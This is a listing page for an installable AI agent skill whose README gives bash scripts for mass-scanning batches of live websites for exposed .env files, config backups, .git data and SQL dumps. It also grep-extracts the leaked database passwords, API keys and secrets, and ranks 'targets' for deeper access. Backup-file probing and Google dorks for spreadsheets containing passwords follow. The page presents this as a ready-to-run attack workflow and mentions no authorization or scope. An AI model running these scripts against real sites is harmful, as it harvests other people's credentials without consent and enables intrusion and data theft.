mcpField
S
source-leak-hunt

source-leak-hunt

github.com/uphiagoSecurity1.3k41 installsUpdated 8w ago
Repository

About source-leak-hunt

source-leak-hunt is a security-testing skill for scanning live sites for exposed sensitive files and validating results by content. It also describes credential extraction and ways to filter common false positives.

Key features

  1. 01Scans for exposed sensitive files
  2. 02Filters results by file content
  3. 03Extracts credentials from leaks
  4. 04Identifies domains with multiple leaks
  5. 05Covers common false positives

Use cases

  1. 01Auditing live domains for exposed files
  2. 02Checking batches of sites for credentials
  3. 03Prioritizing targets with multiple verified leaks

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/uphiago/recon-skills --skill source-leak-hunt

After installing, type/source-leak-huntin Claude Code to confirm it loaded.

Details

From the project README

Source Leak Hunt Skill

Mass scanning for exposed sensitive files (.env, .git/config, wp-config.php.bak, debug.log, backup.sql, phpinfo.php, Dockerfile, etc.) with content-based false positive filtering. Source leaks are the second most common finding (~7% of targets) after WordPress user enumeration.

When to Use

  • After skill_view(name='wp-mass-recon') confirms a target is alive.
  • Broad scanning across a batch of domains.
  • When probing for credential exposure that enables deeper access.
  • Complementing skill_view(name='js-secrets-extraction') for client-side secrets.

Prerequisites

  • terminal with curl.
  • List of live URLs (output from httpx or wp-mass-recon Phase 1).
  • Persistence: output directory at $OUTDIR/leaks/.

How to Run

# Quick scan single target (20 paths)
TARGET="https://example.com"
for path in .env .git/config wp-config.php.bak debug.log backup.sql info.php phpinfo.php \
  .env.backup .env.local .env.production wp-config.php~ .git/HEAD .backup.sql \
  docker-compose.yml Dockerfile .DS_Store robots.txt sitemap.xml; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "$TARGET/$path")
  [[ "$code" == "200" ]] && echo "HTTP 200: $TARGET/$path"
  sleep 0.2
done

Quick Reference

PathWhat It ExposesSeverity
.envDB creds, API keys, app secretsCritical
wp-config.php.bakMySQL root password, saltsCritical
.git/configRepository URL, credentialsHigh
debug.logPHP errors, server paths, SQL queriesHigh
backup.sqlFull database dumpCritical
info.php / phpinfo.phpPHP config, disable_functions, server envHigh
docker-compose.ymlService architecture, env varsMedium
DockerfileBuild config, exposed portsLow
.env.backup / .env.localSame as .env, alternate namesCritical
wp-config.php~Vim swap of wp-configCritical
.DS_StoreDirectory listing (macOS)Low
error_logPHP error log (can be multi-MB, full of paths/queries)High

Procedure

Step 1 — Parallel Mass Scan
#!/bin/bash
URLS_FILE="$1"   # One URL per line
OUTDIR="$OUTDIR/leaks"
mkdir -p "$OUTDIR"

PATHS=(
  ".env"
  ".git/config"
  "wp-config.php.bak"
  "debug.log"
  "backup.sql"
  "info.php"
  "phpinfo.php"
  ".env.backup"
  ".env.local"
  ".env.production"
  "wp-config.php~"
  ".git/HEAD"
  "docker-compose.yml"
  "Dockerfile"
  ".DS_Store"
  "robots.txt"
  "sitemap.xml"
  "error_log"
  "wp-content/debug.log"
  ".backup.sql"
)

# Content verification patterns (avoids SPA catch-all false positives)
declare -A PATTERNS
PATTERNS[".env"]='DB_|APP_|_KEY|_SECRET|DATABASE|PASSWORD|TOKEN'
PATTERNS["wp-config.php.bak"]='DB_NAME|DB_PASSWORD|AUTH_KEY'
PATTERNS[".git/config"]='\[core\]'
PATTERNS["debug.log"]='PHP|ERROR|WARNING|Stack trace'
PATTERNS["backup.sql"]='CREATE TABLE|INSERT INTO|DROP TABLE'
PATTERNS["info.php"]='PHP Version|phpinfo'
PATTERNS["phpinfo.php"]='PHP Version|phpinfo'
PATTERNS[".env.backup"]='DB_|APP_|_KEY|_SECRET'
PATTERNS[".env.local"]='DB_|APP_|_KEY|_SECRET'
PATTERNS[".env.production"]='DB_|APP_|_KEY|_SECRET'
PATTERNS["wp-config.php~"]='DB_NAME|DB_PASSWORD'
PATTERNS["error_log"]='PHP|ERROR|Stack trace'

scan_target() {
  local url="$1"
  local domain
  domain=$(echo "$url" | sed 's|https\?://||' | sed 's|/.*||')

  for path in "${PATHS[@]}"; do
    local full_url="${url}/${path}"
    local code
    code=$(curl -sk -o /tmp/leak_check_$$.tmp -w "%{http_code}" --max-time 5 --connect-timeout 5 "$full_url" 2>/dev/null)

    if [[ "$code" == "200" ]]; then
      local content
      content=$(head -c 2000 /tmp/leak_check_$$.tmp 2>/dev/null)
      local pattern="${PATTERNS[$path]}"

      if [[ -n "$pattern" ]] && echo "$content" | grep -qiE "$pattern"; then
        echo "[LEAK] $full_url (VERIFIED: $path)"
        echo "$full_url" >> "$OUTDIR/${domain}_leaks.txt"
        cp /tmp/leak_check_$$.tmp "$OUTDIR/${domain}_${path//\//_}.content" 2>/dev/null
      elif [[ -z "$pattern" ]]; then
        # No pattern check — just log HTTP 200 (e.g., robots.txt)
        local size=$(wc -c < /tmp/leak_check_$$.tmp)
        if [[ "$size" -gt 50 ]]; then
          echo "[INFO] $full_url (HTTP 200, ${size} bytes)"
          echo "$full_url" >> "$OUTDIR/${domain}_leaks.txt"
        fi
      fi
    fi
    sleep 0.3
  done
  rm -f /tmp/leak_check_$$.tmp
}

export -f scan_target
export OUTDIR
export PATHS

# Run 30 parallel workers
cat "$URLS_FILE" | xargs -P 30 -I {} bash -c 'scan_target "{}"'

echo "[+] Done. Results in $OUTDIR/"
Step 2 — Extract Credentials from Leaked Files
# From .env files
grep -rhE '(DB_|APP_|_KEY|_SECRET|DATABASE|PASSWORD|TOKEN|SECRET)=' $OUTDIR/leaks/*.env*.content 2>/dev/null | sort -u

# From wp-config backups
grep -rhE 'DB_NAME|DB_USER|DB_PASSWORD|DB_HOST|AUTH_KEY' $OUTDIR/leaks/*wp-config* 2>/dev/null

# From .git/config
grep -rh 'url = ' $OUTDIR/leaks/*.git_config.content 2>/dev/null

# From SQL dumps
grep -rhE 'CREATE TABLE|INSERT INTO' $OUTDIR/leaks/*backup* $OUTDIR/leaks/*.sql* 2>/dev/null | head -20
Step 3 — Find Targets with Multiple Leaks (Deep-Dive Candidates)
for f in $OUTDIR/leaks/*_leaks.txt; do
  count=$(wc -l < "$f")
  [[ "$count" -ge 3 ]] && echo "$(basename "$f" _leaks.txt): $count leaks"
done | sort -t: -k2 -rn

Pitfalls

  • SPA catch-all false positives over 70% of results without filtering. Single-page apps return HTTP 200 with index.html for any path. Content verification is mandatory.
  • CloudFront/S3 error pages. Some CDNs return 200 with an XML error body for missing files. Check content type and body.
  • Truncated content on large files. error_log files can be 1.7MB+. Fetch in chunks or use curl -r 0-5000 for sampling.
  • git/HEAD false positive. Some themes/setups have .git/HEAD returning 200 with a legitimate git hash. Verify .git/config first.
  • Parked/for-sale domains return HTTP 200 for every path. Generic parking pages serve content for /.env, /.git/config, /info.php, etc. with no error handling — every path returns 200 with the same landing page. Detect these by checking if multiple unrelated paths return identical content (same body hash, same <title>, or same keyword like "for sale" or "parked"). Add early-exit: if /robots.txt and /.env both return 200 with near-identical HTML, mark domain as parked and skip further source-leak checks.

Verification

  • Every .env leak MUST contain at least one of: DB_, APP_, _KEY, _SECRET, PASSWORD, TOKEN.
  • Every wp-config.php.bak leak MUST contain DB_NAME and DB_PASSWORD.
  • Every .git/config leak MUST contain [core] section header.
  • Every SQL backup MUST contain DDL (CREATE TABLE) or DML (INSERT INTO) statements.
  • Log all verified leaks with timestamp and HTTP response size.
Phase 6 — Backup File Discovery
# bfac — multi-level backup file detection
bfac --url https://target.com \
  --detection-technique all \
  --level 3 \
  --exclude-status-codes 404,500

# Wayback Machine — historical sensitive files
waybackurls https://target.com | grep -iE \
  "\.(xls|xlsx|csv|sql|db|bak|backup|old|tar\.gz|tgz|zip|7z|rar|pdf|pem|key|crt|env|json|yml|yaml|conf|config|git|htpasswd|log|dump|DS_Store)" \
  | sort -u > sensitive_wayback.txt

# Check which are still accessible
cat sensitive_wayback.txt | httpx -silent -mc 200 -o accessible_sensitive.txt

# Common backup patterns to probe
for ext in bak old backup zip tar.gz tgz sql dump; do
  curl --max-time 30 --connect-timeout 10 -skI "https://target.com/backup.$ext" | head -1
  curl --max-time 30 --connect-timeout 10 -skI "https://target.com/site.$ext" | head -1
  curl --max-time 30 --connect-timeout 10 -skI "https://target.com/target.$ext" | head -1
  sleep 0.3
done
Phase 7 — Google Services Leak Dorking
# Google Sheets — internal spreadsheets often left public
# Manual search:
# site:docs.google.com/spreadsheets "target.com"
# site:docs.google.com/spreadsheets "@target.com"
# site:docs.google.com/spreadsheets "password" "target.com"

# Google Drive files
# site:drive.google.com "target.com" "confidential"

# Firebase/Firestore URLs in public search results
# site:firebaseio.com "target.com"
# site:firestore.googleapis.com "target-app"

# GCP buckets
# site:storage.googleapis.com "target"
# site:storage.cloud.google.com "target"

Comments

Markdown supported